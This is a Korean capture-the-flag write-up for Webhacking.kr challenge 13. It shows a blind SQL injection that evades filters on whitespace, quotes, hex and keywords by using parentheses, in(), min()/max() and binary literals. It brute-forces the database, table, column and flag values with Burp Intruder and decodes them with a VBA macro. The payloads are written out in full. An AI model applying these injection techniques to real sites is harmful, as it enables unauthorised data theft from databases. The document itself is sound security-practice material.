Webhacking.kr 13번 - No Python
■인젝션 포인트:
no=1 대입하면 result: 1출력.
1이외의 값 대입하면 result: 0 출력
no에 쿼리를 집어넣어 참, 거짓 판단 가능.
■필터링 되는 문자:
버프에서 테스트
테스트 결과:
+, whitespace, =, like, *, /, char, 0x, and, ascii
■데이터베이스 이름 알아내기:
공백은 (, )으로 우회, like는 regexp 또는 in으로 우회.
싱글 쿼터(')는 필터링이 안되서 다음과 같이 쿼리문을 날렸으나 아무 응답 없음.
no=if(substr(database(),1,1)in('a'),1,10)
0x는 필터링 되고, 싱글쿼터는 응답 없으므로 2진법(0b10101110 등)으로 질의
버프의 intruder 기능 중 cluster bomb 활용(burp Pro에서만 지원되는 기능)
no=if(substr(database(),1,1)in(0b1),1,10)
attack point 세팅
payload 세팅
1번째 페이로드의 경우 1부터 10까지 1씩 증가
2번째 페이로드의 경우 2진법을 brute force하므로 8개의 각 자리에 대하여 0또는 1대입 공격
공격수행.
참이면 result: 1이 출력되므로 matching 문자열 <td>1 로 세팅
결과값 복사하여 엑셀에 붙여넣고, vba코드로 이진수를 문자로 변환
vba 코드:
Sub test()
Dim n As Integer
lastrow = ActiveSheet.Cells(Rows.Count, 2).End(xlUp).Row
Set myrange = Range("c2:c" & CStr(lastrow))
For Each my_range In myrange
n = 0
' 2진수 10진수로 변환
For s = 1 To Len(my_range)
n = n + (Mid(my_range, Len(my_range) - s + 1, 1) * (2 ^ (s - 1)))
Next
'ascii 10진수의 char값 구하기
my_range.Offset(0, 1).Value = Chr(n)
Next
End Sub
데이터베이스 이름: chall13
■테이블 이름 알아내기
information_schema.tables에서 table_name을 조회하면 됨
limit는 min()으로 우회
그러나 아래와 같은 쿼리로 조회할 경우, table_name이 chall13 db에 속해있는지 알 수 없음.
no=if(substr((select(min(table_name))from(information_schema.tables)),1,1)in(0b1),1,10)
table_name을 다음과 같이 서브쿼리로 바꿔치기함(db이름이 'chall13'일 경우에만 table_name 출력)
table_name -> if((select(table_schema)in('chall13')),table_name,null)
싱글쿼터의 경우 응답이 없으므로 2진법으로 바꿔치기함
string to binary site: https://codebeautify.org/string-binary-converter
if((select(table_schema)in('chall13')),table_name,null) ->
if((select(table_schema)in(0b01100011011010000110000101101100011011000011000100110011)),table_name,null)
최종 쿼리:
no=if(substr((select(min(if((select(table_schema)in(0b01100011011010000110000101101100011011000011000100110011)),table_name,null)))from(information_schema.tables)),1,1)in(0b1),1,10)
마찬가지로 attack point 세팅 -> 페이로드 세팅 -> cluster bomb으로 공격 수행 --> vba로 문자변환
실행결과 테이블의 이름: flag_ab733768
■컬럼 이름 알아내기
information_schema.columns에서 column_name을 조회하면 됨
그러나 아래와 같은 쿼리로 조회할 경우, column_name이 "flag_ab733768" 테이블에 속해있는지 알 수 없음.
no=if(substr((select(min(column_name))from(information_schema.columns)),1,1)in(0b1),1,10)
column_name을 다음과 같이 서브쿼리로 바꿔치기함(테이블 이름이 'flag_ab733768'일 경우에만 column_name 출력)
column_name -> if((select(table_name)in('flag_ab733768')),column_name,NULL)
싱글쿼터의 경우 응답이 없으므로 2진법으로 바꿔치기함
if((select(table_name)in('flag_ab733768')),column_name,null) ->
if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)
최종 쿼리:
if(substr((select(min(if((select(table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)),column_name,null)))from(information_schema.columns)),1,1)in(0b1),1,10)
마찬가지로 attack point 세팅 -> 페이로드 세팅 -> cluster bomb으로 공격 수행 --> vba로 문자변환
실행결과 컬럼 이름: flag_3a55b31d
■FLAG 알아내기
테이블 이름과 컬럼 이름을 알아내었으므로 쿼리는 훨씬 간단해짐
no=if(substr((select(min(flag_3a55b31d))from(flag_ab733768)),1,1)in(0b1),1,10)
min() 으로 공격 수행할 경우 알아낸 값은 flag와는 거리가 멀어보임
flag 이름이 flag?
max()로 공격 수행
no=if(substr((select(max(flag_3a55b31d))from(flag_ab733768)),1,1)in(0b1),1,10)
실행결과 flag이름: flag{challenge13gummyclear}
placeholder에 적혀있는데로 FLAG{challenge13gummyclear} 제출하면 클리어